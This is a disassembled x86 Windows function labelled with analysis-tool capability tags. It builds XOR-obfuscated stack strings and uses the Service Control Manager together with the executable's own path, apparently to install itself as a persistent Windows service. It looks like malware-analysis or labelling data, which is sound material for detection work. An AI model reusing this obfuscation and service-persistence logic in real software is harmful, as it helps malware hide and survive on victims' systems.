Function at 0x4e3c50
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x5c0290]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x824], ecx
mov dword [ebp - 0x754], 0x6e734444
mov dword [ebp - 0x750], 0x7477794a
mov dword [ebp - 0x74c], 0x684e6e4a
mov dword [ebp - 0x748], 0x6f4d4163
mov dword [ebp - 0x744], 0x376f694f
mov dword [ebp - 0x740], 0x6c394349
mov dword [ebp - 0x73c], 0x2f734343
mov dword [ebp - 0x738], 0x3663544c
mov dword [ebp - 0x734], 0x6277434a
mov dword [ebp - 0x730], 0x51497964
mov dword [ebp - 0x72c], 0x6e41524b
mov dword [ebp - 0x728], 0x35346e4d
mov dword [ebp - 0x724], 0x2f415347
mov dword [ebp - 0x720], 0x686f534d
mov dword [ebp - 0x71c], 0x77747a65
mov dword [ebp - 0x718], 0x4b4d484e
mov dword [ebp - 0x714], 0x37466e63
mov dword [ebp - 0x710], 0x546b514d
mov dword [ebp - 0x70c], 0x39596765
mov dword [ebp - 0x708], 0x79705342
mov dword [ebp - 0x704], 0x43413246
mov dword [ebp - 0x700], 0x31415349
mov dword [ebp - 0x6fc], 0x2b354250
mov dword [ebp - 0x6f8], 0x316f794f
mov dword [ebp - 0x6f4], 0x4f415347
mov dword [ebp - 0x6f0], 0x5549774c
mov dword [ebp - 0x6ec], 0x6f777845
mov dword [ebp - 0x6e8], 0x58636a47
mov dword [ebp - 0x6e4], 0x36597843
mov dword [ebp - 0x6e0], 0x30455348
mov dword [ebp - 0x6dc], 0x735a4148
mov dword [ebp - 0x6d8], 0x326c5445
mov dword [ebp - 0x6d4], 0x2b70674d
mov dword [ebp - 0x6d0], 0x75776743
mov dword [ebp - 0x6cc], 0x3863544f
mov dword [ebp - 0x6c8], 0x6f4e5348
mov dword [ebp - 0x6c4], 0x74386a4e
mov dword [ebp - 0x6c0], 0x5634474d
mov dword [ebp - 0x6bc], 0x2f6c5142
mov dword [ebp - 0x6b8], 0x6a516863
mov dword [ebp - 0x6b4], 0x2b775366
mov dword [ebp - 0x6b0], 0x3468484e
mov dword [ebp - 0x6ac], 0x726b5248
mov dword [ebp - 0x6a8], 0x5173794a
mov dword [ebp - 0x6a4], 0x3434794b
mov dword [ebp - 0x6a0], 0x78416944
mov dword [ebp - 0x69c], 0x424d794b
mov dword [ebp - 0x698], 0x6b457961
mov dword [ebp - 0x694], 0x626f5766
mov dword [ebp - 0x690], 0x53413241
mov dword [ebp - 0x68c], 0x5873784e
mov dword [ebp - 0x688], 0x48776947
mov dword [ebp - 0x684], 0x2b466865
mov dword [ebp - 0x680], 0x53415849
mov dword [ebp - 0x67c], 0x45677946
mov dword [ebp - 0x678], 0x6e634343
mov dword [ebp - 0x674], 0x46593344
mov dword [ebp - 0x670], 0x43453261
mov dword [ebp - 0x66c], 0x56557850
mov dword [ebp - 0x668], 0x594d5346
mov dword [ebp - 0x664], 0x4e67544e
mov dword [ebp - 0x660], 0x72636866
mov dword [ebp - 0x65c], 0x476b6865
mov dword [ebp - 0x658], 0x2b386746
mov dword [ebp - 0x654], 0x4f305450
mov dword [ebp - 0x650], 0x31315844
mov dword [ebp - 0x64c], 0x3077674d
mov dword [ebp - 0x648], 0x7a6f6847
mov dword [ebp - 0x644], 0x71523342
mov dword [ebp - 0x640], 0x3673524e
mov dword [ebp - 0x63c], 0x484d4748
mov dword [ebp - 0x638], 0x4e63534d
mov dword [ebp - 0x634], 0x746f5350
mov dword [ebp - 0x630], 0x7677424f
mov dword [ebp - 0x62c], 0x436f774e
mov dword [ebp - 0x628], 0x6f4e4461
mov dword [ebp - 0x624], 0x4c557a47
sub esp, 0xc
mov dword [ebp - 0x620], 0x6c425261
mov ecx, esp
mov dword [ebp - 0x61c], 0x6f676a4a
lea eax, [ebp - 0x596]
mov dword [ebp - 0x618], 0x3752484e
mov dword [ebp - 0x614], 0x546b7a4e
push dword [ebp - 0x2a0]
mov dword [ebp - 0x610], 0x58674359
push eax
lea eax, [ebp - 0x754]
mov dword [ebp - 0x60c], 0x6c737963
mov dword [ebp - 0x608], 0x6a674349
mov dword [ebp - 0x604], 0x2f426748
mov dword [ebp - 0x600], 0x7749674d
mov dword [ebp - 0x5fc], 0x6b677763
mov dword [ebp - 0x5f8], 0x7a637761
mov dword [ebp - 0x5f4], 0x49775749
mov dword [ebp - 0x5f0], 0x4e67584e
mov dword [ebp - 0x5ec], 0x57496949
mov dword [ebp - 0x5e8], 0x3078514e
mov dword [ebp - 0x5e4], 0x2b553265
mov dword [ebp - 0x5e0], 0x69454247
mov dword [ebp - 0x5dc], 0x386c6a47
mov dword [ebp - 0x5d8], 0x334a774b
mov dword [ebp - 0x5d4], 0x30774849
mov dword [ebp - 0x5d0], 0x33456750
mov dword [ebp - 0x5cc], 0x6a706765
mov dword [ebp - 0x5c8], 0x4d383347
mov dword [ebp - 0x5c4], 0x6c776745
mov dword [ebp - 0x5c0], 0x3356414f
mov dword [ebp - 0x5bc], 0x6c494148
mov dword [ebp - 0x5b8], 0x78357759
mov dword [ebp - 0x5b4], 0x61734147
mov dword [ebp - 0x5b0], 0x3070674e
mov dword [ebp - 0x5ac], 0x39493343
mov dword [ebp - 0x5a8], 0x55554241
mov dword [ebp - 0x5a4], 0x7268514a
mov dword [ebp - 0x5a0], 0x7977334e
mov dword [ebp - 0x59c], 0x42414141
mov word [ebp - 0x598], 0x514d
mov dword [ebp - 0x7f4], 0x6e415441
mov dword [ebp - 0x7f0], 0x756b444f
mov dword [ebp - 0x7ec], 0x34306e4f
mov dword [ebp - 0x7e8], 0x4f49444b
mov dword [ebp - 0x7e4], 0x36744147
mov dword [ebp - 0x7e0], 0x55677944
mov dword [ebp - 0x7dc], 0x31304862
mov dword [ebp - 0x7d8], 0x6a354461
mov dword [ebp - 0x7d4], 0x34387765
mov dword [ebp - 0x7d0], 0x62597964
mov dword [ebp - 0x7cc], 0x4f634161
mov dword [ebp - 0x7c8], 0x33415743
mov dword [ebp - 0x7c4], 0x5551774c
mov dword [ebp - 0x7c0], 0x57384449
mov dword [ebp - 0x7bc], 0x37643344
mov dword [ebp - 0x7b8], 0x6a6b4341
mov dword [ebp - 0x7b4], 0x484d794e
mov dword [ebp - 0x7b0], 0x6a4d5441
mov dword [ebp - 0x7ac], 0x6b525249
mov dword [ebp - 0x7a8], 0x3664674a
mov dword [ebp - 0x7a4], 0x5138414a
mov dword [ebp - 0x7a0], 0x7449695a
mov dword [ebp - 0x79c], 0x45416d41
mov dword [ebp - 0x798], 0x6e4d4349
mov dword [ebp - 0x794], 0x5a6f794a
mov dword [ebp - 0x790], 0x6967784e
mov dword [ebp - 0x78c], 0x2f4e7a41
mov dword [ebp - 0x788], 0x4a556943
mov dword [ebp - 0x784], 0x72466d42
mov dword [ebp - 0x780], 0x41555146
mov dword [ebp - 0x77c], 0x4f424141
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x820]
push eax
call fcn.0047fb90
mov esi, dword [eax]
add esp, 0x10
mov eax, dword [eax + 4]
mov dword [ebp - 0x814], esi
sub eax, esi
je 0x4e84df
sub esp, 0xc
lea eax, [ebp - 0x778]
mov ecx, esp
push dword [ebp - 0x2a0]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x7f4]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x4e84e9
xor eax, eax
xor edi, edi
mov dword [ebp - 0x29c], eax
xor ecx, ecx
mov dword [ebp - 0x298], eax
xor edx, edx
mov dword [ebp - 0x294], eax
xor ebx, ebx
lea eax, [esi + 1]
mov dword [ebp - 0x29c], edi
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x294], edx
mov dword [ebp - 0x774], ebx
mov dword [ebp - 0x2a0], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x4e42e2
sub esi, dword [ebp - 0x2a0]
je 0x4e4432
jmp 0x4e4300
mov esi, dword [ebp - 0x814]
lea eax, [ebp - 0x591]
mov bl, byte [ebx + esi]
xor bl, 0x8b
mov byte [ebp - 0x591], bl
cmp eax, ecx
jae 0x4e438b
cmp edi, eax
ja 0x4e438b
mov ebx, eax
sub ebx, edi
cmp ecx, edx
jne 0x4e4380
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4e4380
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4e84fd
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4e4355
xor edx, edx
jmp 0x4e4357
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x29c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
mov edi, dword [ebp - 0x29c]
mov esi, dword [ebp - 0x814]
test ecx, ecx
je 0x4e43ed
mov al, byte [edi + ebx]
mov byte [ecx], al
jmp 0x4e43ed
cmp ecx, edx
jne 0x4e43e7
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4e43e7
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4e84fd
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4e43bc
xor edx, edx
jmp 0x4e43be
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x29c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
mov edi, dword [ebp - 0x29c]
mov esi, dword [ebp - 0x814]
test ecx, ecx
je 0x4e43ed
mov byte [ecx], bl
mov ebx, dword [ebp - 0x774]
lea eax, [esi + 1]
inc ecx
mov dword [ebp - 0x2a0], eax
inc ebx
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x774], ebx
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e4410
sub esi, dword [ebp - 0x2a0]
cmp ebx, esi
jb 0x4e4300
test edi, edi
je 0x4e4432
push edi
call fcn.0053c1e0
add esp, 4
mov eax, dword [ebp - 0x810]
test eax, eax
je 0x4e4463
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x820]
test eax, eax
je 0x4e4476
push eax
call fcn.0053c1e0
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor edi, edi
push 0xf003f
push edi
push edi
call ebx
mov esi, eax
test esi, esi
je 0x4e4dfc
mov ecx, dword [ebp - 0x824]
push 1
add ecx, 0x2c
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
je 0x4e44b4
push eax
mov edi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test edi, edi
je 0x4e4dfc
mov dword [ebp - 0x590], 0x6e734444
mov dword [ebp - 0x58c], 0x7477794a
mov dword [ebp - 0x588], 0x684e6e4a
mov dword [ebp - 0x584], 0x71634163
mov dword [ebp - 0x580], 0x6f6f4350
mov dword [ebp - 0x57c], 0x6c4a5449
mov dword [ebp - 0x578], 0x2f734343
mov dword [ebp - 0x574], 0x3663544c
mov dword [ebp - 0x570], 0x3277444a
mov dword [ebp - 0x56c], 0x6a386959
mov dword [ebp - 0x568], 0x456b444c
mov dword [ebp - 0x564], 0x786c6959
mov dword [ebp - 0x560], 0x2f744450
mov dword [ebp - 0x55c], 0x7852434b
mov dword [ebp - 0x558], 0x39677743
mov dword [ebp - 0x554], 0x41736e64
mov dword [ebp - 0x550], 0x43415342
mov dword [ebp - 0x54c], 0x386f784b
mov dword [ebp - 0x548], 0x2f6b4141
mov dword [ebp - 0x544], 0x6738444a
mov dword [ebp - 0x540], 0x6d635366
mov dword [ebp - 0x53c], 0x4f516a4b
mov dword [ebp - 0x538], 0x32557a4b
mov dword [ebp - 0x534], 0x4873694b
mov dword [ebp - 0x530], 0x2b746747
mov dword [ebp - 0x52c], 0x4a4d6743
mov dword [ebp - 0x528], 0x2f596946
mov dword [ebp - 0x524], 0x68594747
mov dword [ebp - 0x520], 0x38735242
mov dword [ebp - 0x51c], 0x32745163
mov dword [ebp - 0x518], 0x4d384243
mov dword [ebp - 0x514], 0x4c514850
mov dword [ebp - 0x510], 0x37525749
mov dword [ebp - 0x50c], 0x654d6a48
mov dword [ebp - 0x508], 0x696b6a4b
mov dword [ebp - 0x504], 0x77306943
mov dword [ebp - 0x500], 0x4867674a
mov dword [ebp - 0x4fc], 0x4751684e
mov dword [ebp - 0x4f8], 0x72455266
mov dword [ebp - 0x4f4], 0x57675445
mov dword [ebp - 0x4f0], 0x43597a4a
mov dword [ebp - 0x4ec], 0x51304246
mov dword [ebp - 0x4e8], 0x65594141
mov dword [ebp - 0x4e4], 0x484d4143
mov dword [ebp - 0x4e0], 0x37636e4f
mov dword [ebp - 0x4dc], 0x4e383345
mov dword [ebp - 0x4d8], 0x56675344
mov dword [ebp - 0x4d4], 0x65456946
mov dword [ebp - 0x4d0], 0x6f775447
mov dword [ebp - 0x4cc], 0x7855444a
mov dword [ebp - 0x4c8], 0x66417763
mov dword [ebp - 0x4c4], 0x30675859
mov dword [ebp - 0x4c0], 0x304a5441
mov dword [ebp - 0x4bc], 0x63386e59
mov dword [ebp - 0x4b8], 0x5173534c
mov dword [ebp - 0x4b4], 0x53596d64
mov dword [ebp - 0x4b0], 0x6a6f4264
mov dword [ebp - 0x4ac], 0x4f385462
mov dword [ebp - 0x4a8], 0x64456750
mov dword [ebp - 0x4a4], 0x364d414b
mov dword [ebp - 0x4a0], 0x69517941
mov dword [ebp - 0x49c], 0x3456695a
mov dword [ebp - 0x498], 0x71557965
mov dword [ebp - 0x494], 0x3351515a
mov dword [ebp - 0x490], 0x6b646765
mov dword [ebp - 0x48c], 0x76344144
mov dword [ebp - 0x488], 0x4873434c
mov dword [ebp - 0x484], 0x44347946
mov dword [ebp - 0x480], 0x626f5449
mov dword [ebp - 0x47c], 0x4e515345
mov dword [ebp - 0x478], 0x45384163
mov dword [ebp - 0x474], 0x4f556945
mov dword [ebp - 0x470], 0x6d677a66
mov dword [ebp - 0x46c], 0x51346e50
mov dword [ebp - 0x468], 0x526f7946
mov dword [ebp - 0x464], 0x31735464
mov dword [ebp - 0x460], 0x70554464
mov dword [ebp - 0x45c], 0x55457950
mov dword [ebp - 0x458], 0x3134534c
mov dword [ebp - 0x454], 0x7949434e
mov dword [ebp - 0x450], 0x576f6743
mov dword [ebp - 0x44c], 0x7a737842
mov dword [ebp - 0x448], 0x6f55574b
mov dword [ebp - 0x444], 0x41414141
mov word [ebp - 0x440], 0x5132
mov dword [ebp - 0x3f8], 0x6e415441
mov dword [ebp - 0x3f4], 0x756b444f
mov dword [ebp - 0x3f0], 0x34306e4f
mov dword [ebp - 0x3ec], 0x7749444b
mov dword [ebp - 0x3e8], 0x36397841
mov dword [ebp - 0x3e4], 0x48516949
mov dword [ebp - 0x3e0], 0x71594265
mov dword [ebp - 0x3dc], 0x394d6844
mov dword [ebp - 0x3d8], 0x6a594447
mov dword [ebp - 0x3d4], 0x686f684f
mov dword [ebp - 0x3d0], 0x4238514b
mov dword [ebp - 0x3cc], 0x3438414d
mov dword [ebp - 0x3c8], 0x46735147
mov dword [ebp - 0x3c4], 0x786b7759
mov dword [ebp - 0x3c0], 0x75345850
mov dword [ebp - 0x3bc], 0x6a777a48
mov dword [ebp - 0x3b8], 0x6d734144
mov dword [ebp - 0x3b4], 0x5373544e
mov dword [ebp - 0x3b0], 0x4c454741
mov dword [ebp - 0x3ac], 0x5330484e
mov dword [ebp - 0x3a8], 0x6a45784b
mov dword [ebp - 0x3a4], 0x794a525a
mov dword [ebp - 0x3a0], 0x3451794d
mov dword [ebp - 0x39c], 0x79427948
mov dword [ebp - 0x398], 0x42676766
mov dword [ebp - 0x394], 0x676b5843
mov dword [ebp - 0x390], 0x3163514a
mov dword [ebp - 0x38c], 0x69355350
mov dword [ebp - 0x388], 0x6874684c
mov dword [ebp - 0x384], 0x7355674b
mov dword [ebp - 0x380], 0x6b317863
mov dword [ebp - 0x37c], 0x4e38414d
mov dword [ebp - 0x378], 0x63416842
mov dword [ebp - 0x374], 0x556f694e
mov dword [ebp - 0x370], 0x62386e64
mov dword [ebp - 0x36c], 0x5130674d
mov dword [ebp - 0x368], 0x65497944
mov dword [ebp - 0x364], 0x55495361
mov dword [ebp - 0x360], 0x31677944
mov dword [ebp - 0x35c], 0x6e676a65
mov dword [ebp - 0x358], 0x52554164
mov dword [ebp - 0x354], 0x6f774347
mov dword [ebp - 0x350], 0x4c674465
mov dword [ebp - 0x34c], 0x7239334f
mov dword [ebp - 0x348], 0x74634843
mov dword [ebp - 0x344], 0x6a415366
mov dword [ebp - 0x340], 0x68307a44
mov dword [ebp - 0x33c], 0x444d514e
mov dword [ebp - 0x338], 0x5649684c
mov dword [ebp - 0x334], 0x5767784d
mov dword [ebp - 0x330], 0x2b59434c
mov dword [ebp - 0x32c], 0x31395148
mov dword [ebp - 0x328], 0x6e306a41
mov dword [ebp - 0x324], 0x32644161
mov dword [ebp - 0x320], 0x4c736e47
mov dword [ebp - 0x31c], 0x77635145
mov dword [ebp - 0x318], 0x3859794d
mov dword [ebp - 0x314], 0x6e744864
mov dword [ebp - 0x310], 0x30417a4f
mov dword [ebp - 0x30c], 0x7a4d794b
mov dword [ebp - 0x308], 0x6c637745
mov dword [ebp - 0x304], 0x6d677847
mov dword [ebp - 0x300], 0x30394449
mov dword [ebp - 0x2fc], 0x5338544a
mov dword [ebp - 0x2f8], 0x4238684f
mov dword [ebp - 0x2f4], 0x7a595745
mov dword [ebp - 0x2f0], 0x45633364
mov dword [ebp - 0x2ec], 0x53556d4f
mov dword [ebp - 0x2e8], 0x684e6745
mov dword [ebp - 0x2e4], 0x6c6f6746
mov dword [ebp - 0x2e0], 0x45414243
mov dword [ebp - 0x2dc], 0x76515148
mov dword [ebp - 0x2d8], 0x61737865
mov dword [ebp - 0x2d4], 0x38597a42
mov dword [ebp - 0x2d0], 0x6867684f
mov dword [ebp - 0x2cc], 0x4838514e
mov dword [ebp - 0x2c8], 0x656f514a
sub esp, 0xc
mov dword [ebp - 0x2c4], 0x4a386a44
mov ecx, esp
mov dword [ebp - 0x2c0], 0x6d497a49
lea eax, [ebp - 0x43e]
mov dword [ebp - 0x2bc], 0x37565244
mov dword [ebp - 0x2b8], 0x68413250
push dword [ebp - 0x2a0]
mov dword [ebp - 0x2b4], 0x4d515447
push eax
lea eax, [ebp - 0x590]
mov dword [ebp - 0x2b0], 0x6f6f4444
mov dword [ebp - 0x2ac], 0x2b706749
mov dword [ebp - 0x2a8], 0x41414150
mov word [ebp - 0x2a4], 0x5041
mov byte [ebp - 0x2a2], 0x49
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x820]
push eax
call fcn.0047fb90
add esp, 0x10
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x814], esi
sub eax, esi
jne 0x4e4bcd
jmp 0x4e84f3
sub esp, 0xc
lea eax, [ebp - 0x2a1]
mov ecx, esp
push dword [ebp - 0x2a0]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x3f8]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x4e8507
xor eax, eax
xor edi, edi
mov dword [ebp - 0x29c], eax
xor ecx, ecx
mov dword [ebp - 0x298], eax
xor edx, edx
mov dword [ebp - 0x294], eax
xor ebx, ebx
lea eax, [esi + 1]
mov dword [ebp - 0x29c], edi
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x294], edx
mov dword [ebp - 0x774], ebx
mov dword [ebp - 0x2a0], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x4e4c58
sub esi, dword [ebp - 0x2a0]
je 0x4e4da2
jmp 0x4e4c70
mov esi, dword [ebp - 0x814]
lea eax, [ebp - 0x592]
mov bl, byte [esi + ebx]
xor bl, 0x8b
mov byte [ebp - 0x592], bl
cmp eax, ecx
jae 0x4e4cfb
cmp edi, eax
ja 0x4e4cfb
mov ebx, eax
sub ebx, edi
cmp ecx, edx
jne 0x4e4cf0
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4e4cf0
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4e84fd
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4e4cc5
xor edx, edx
jmp 0x4e4cc7
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x29c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
mov edi, dword [ebp - 0x29c]
mov esi, dword [ebp - 0x814]
test ecx, ecx
je 0x4e4d5d
mov al, byte [edi + ebx]
mov byte [ecx], al
jmp 0x4e4d5d
cmp ecx, edx
jne 0x4e4d57
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4e4d57
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4e84fd
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4e4d2c
xor edx, edx
jmp 0x4e4d2e
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x29c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x298]
mov edi, dword [ebp - 0x29c]
mov esi, dword [ebp - 0x814]
test ecx, ecx
je 0x4e4d5d
mov byte [ecx], bl
mov ebx, dword [ebp - 0x774]
lea eax, [esi + 1]
inc ecx
mov dword [ebp - 0x2a0], eax
inc ebx
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x774], ebx
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e4d80
sub esi, dword [ebp - 0x2a0]
cmp ebx, esi
jb 0x4e4c70
test edi, edi
je 0x4e4da2
push edi
call fcn.0053c1e0
add esp, 4
mov eax, dword [ebp - 0x810]
test eax, eax
je 0x4e4dd3
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 0
mov dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x820]
test eax, eax
je 0x4e4de6
push eax
call fcn.0053c1e0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0053d3a0
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x20e]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4e7e06
cmp eax, 0x104
je 0x4e7e06
mov ecx, 0x22
mov word [ebp - 0x210], cx
mov word [ebp + eax*2 - 0x20e], cx
lea eax, [eax*2 + 4]
cmp eax, 0x20c
jae 0x4e8511
xor ecx, ecx
mov dword [ebp - 0x570], 0x6e734444
mov word [ebp + eax - 0x210], cx
mov dword [ebp - 0x56c], 0x7477794a
mov dword [ebp - 0x568], 0x684e6e4a
mov dword [ebp - 0x564], 0x2b4d4163
mov dword [ebp - 0x560], 0x3877794b
mov dword [ebp - 0x55c], 0x6e6f534d
mov dword [ebp - 0x558], 0x7342534c
mov dword [ebp - 0x554], 0x6963544b
mov dword [ebp - 0x550], 0x794e4749
mov dword [ebp - 0x54c], 0x36514843
mov dword [ebp - 0x548], 0x41416764
mov dword [ebp - 0x544], 0x78397a59
mov dword [ebp - 0x540], 0x48674247
mov dword [ebp - 0x53c], 0x53344361
mov dword [ebp - 0x538], 0x74346850
mov dword [ebp - 0x534], 0x426f6a64
mov dword [ebp - 0x530], 0x37596744
mov dword [ebp - 0x52c], 0x416b7849
mov dword [ebp - 0x528], 0x6249525a
mov dword [ebp - 0x524], 0x36345448
mov dword [ebp - 0x520], 0x444d6d63
mov dword [ebp - 0x51c], 0x6f776742
mov dword [ebp - 0x518], 0x43386a42
mov dword [ebp - 0x514], 0x57457859
mov dword [ebp - 0x510], 0x74735866
mov dword [ebp - 0x50c], 0x49674363
mov dword [ebp - 0x508], 0x5a596741
mov dword [ebp - 0x504], 0x75417a62
mov dword [ebp - 0x500], 0x6f734747
mov dword [ebp - 0x4fc], 0x48516a4c
mov dword [ebp - 0x4f8], 0x48555343
mov dword [ebp - 0x4f4], 0x7177334b
mov dword [ebp - 0x4f0], 0x436b4244
mov dword [ebp - 0x4ec], 0x3177444e
mov dword [ebp - 0x4e8], 0x6a307944
mov dword [ebp - 0x4e4], 0x426f784d
mov dword [ebp - 0x4e0], 0x62634346
mov dword [ebp - 0x4dc], 0x78516947
mov dword [ebp - 0x4d8], 0x6c686842
mov dword [ebp - 0x4d4], 0x4c736e46
mov dword [ebp - 0x4d0], 0x6e784364
mov dword [ebp - 0x4cc], 0x4c77584a
mov dword [ebp - 0x4c8], 0x42417947
mov dword [ebp - 0x4c4], 0x6c775442
mov dword [ebp - 0x4c0], 0x41344241
mov dword [ebp - 0x4bc], 0x5077414a
mov dword [ebp - 0x4b8], 0x4f457941
mov dword [ebp - 0x4b4], 0x5234424b
mov dword [ebp - 0x4b0], 0x3473694c
mov dword [ebp - 0x4ac], 0x50495248
mov dword [ebp - 0x4a8], 0x54306a4b
mov dword [ebp - 0x4a4], 0x49456949
mov dword [ebp - 0x4a0], 0x6c597865
mov dword [ebp - 0x49c], 0x46457742
mov dword [ebp - 0x498], 0x6f4d514b
mov dword [ebp - 0x494], 0x4c346742
mov dword [ebp - 0x490], 0x2f784242
mov dword [ebp - 0x48c], 0x64494247
mov dword [ebp - 0x488], 0x6c467a65
mov dword [ebp - 0x484], 0x64517946
mov dword [ebp - 0x480], 0x37637964
mov dword [ebp - 0x47c], 0x7a354449
mov dword [ebp - 0x478], 0x6b41514b
mov dword [ebp - 0x474], 0x2f387942
mov dword [ebp - 0x470], 0x2f735443
mov dword [ebp - 0x46c], 0x76515344
mov dword [ebp - 0x468], 0x68785263
mov dword [ebp - 0x464], 0x68463250
mov dword [ebp - 0x460], 0x34385741
mov dword [ebp - 0x45c], 0x4130484e
mov dword [ebp - 0x458], 0x69305450
mov dword [ebp - 0x454], 0x7a6b7859
mov dword [ebp - 0x450], 0x35464266
mov dword [ebp - 0x44c], 0x4f45774f
mov dword [ebp - 0x448], 0x39776849
mov dword [ebp - 0x444], 0x41414141
mov word [ebp - 0x440], 0x6778
mov dword [ebp - 0x278], 0x6e415441
mov dword [ebp - 0x274], 0x756b444f
lea eax, [ebp - 0x210]
mov dword [ebp - 0x270], 0x34306e4f
push eax
lea ecx, [ebp - 0x774]
mov dword [ebp - 0x26c], 0x4549444b
mov dword [ebp - 0x268], 0x34786e4e
lea edi, [ebp - 0x570]
mov dword [ebp - 0x264], 0x49637948
lea esi, [ebp - 0x43e]
mov dword [ebp - 0x260], 0x6f304365
mov dword [ebp - 0x25c], 0x4f347945
mov dword [ebp - 0x258], 0x56384149
mov dword [ebp - 0x254], 0x54514345
mov dword [ebp - 0x250], 0x33417a4e
mov dword [ebp - 0x24c], 0x43306a4a
mov dword [ebp - 0x248], 0x45556d4f
mov dword [ebp - 0x244], 0x67516e41
mov dword [ebp - 0x240], 0x5777484e
mov dword [ebp - 0x23c], 0x556b6a4e
mov dword [ebp - 0x238], 0x67415265
mov dword [ebp - 0x234], 0x414d5262
mov dword [ebp - 0x230], 0x41414141
mov word [ebp - 0x22c], 0x774b
call fcn.004aec30
push eax
push 0
sub esp, 0xc
lea eax, [ebp - 0x28d]
mov ecx, esp
push eax
push esi
push edi
call fcn.004676d0
lea eax, [ebp - 0x810]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
push eax
lea eax, [ebp - 0x2a0]
push eax
call fcn.004b8520
add esp, 0xc
lea edx, [ebp - 0x22a]
lea esi, [ebp - 0x278]
mov edi, dword [eax]
lea eax, [ebp - 0x28d]
push 0
sub esp, 0xc
mov ecx, esp
push eax
push edx
push esi
call fcn.004676d0
lea eax, [ebp - 0x820]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, eax
call fcn.0046bf20
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x29c], eax
xor esi, esi
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x29c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], eax
jmp 0x4e52e0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e52e0
sub ecx, edx
je 0x4e5333
jmp 0x4e52f0
mov al, byte [esi + edi]
lea ecx, [ebp - 0x29c]
xor al, 0x8b
mov byte [ebp - 0x28d], al
lea eax, [ebp - 0x28d]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e5313
sub ecx, edx
cmp esi, ecx
jb 0x4e52f0
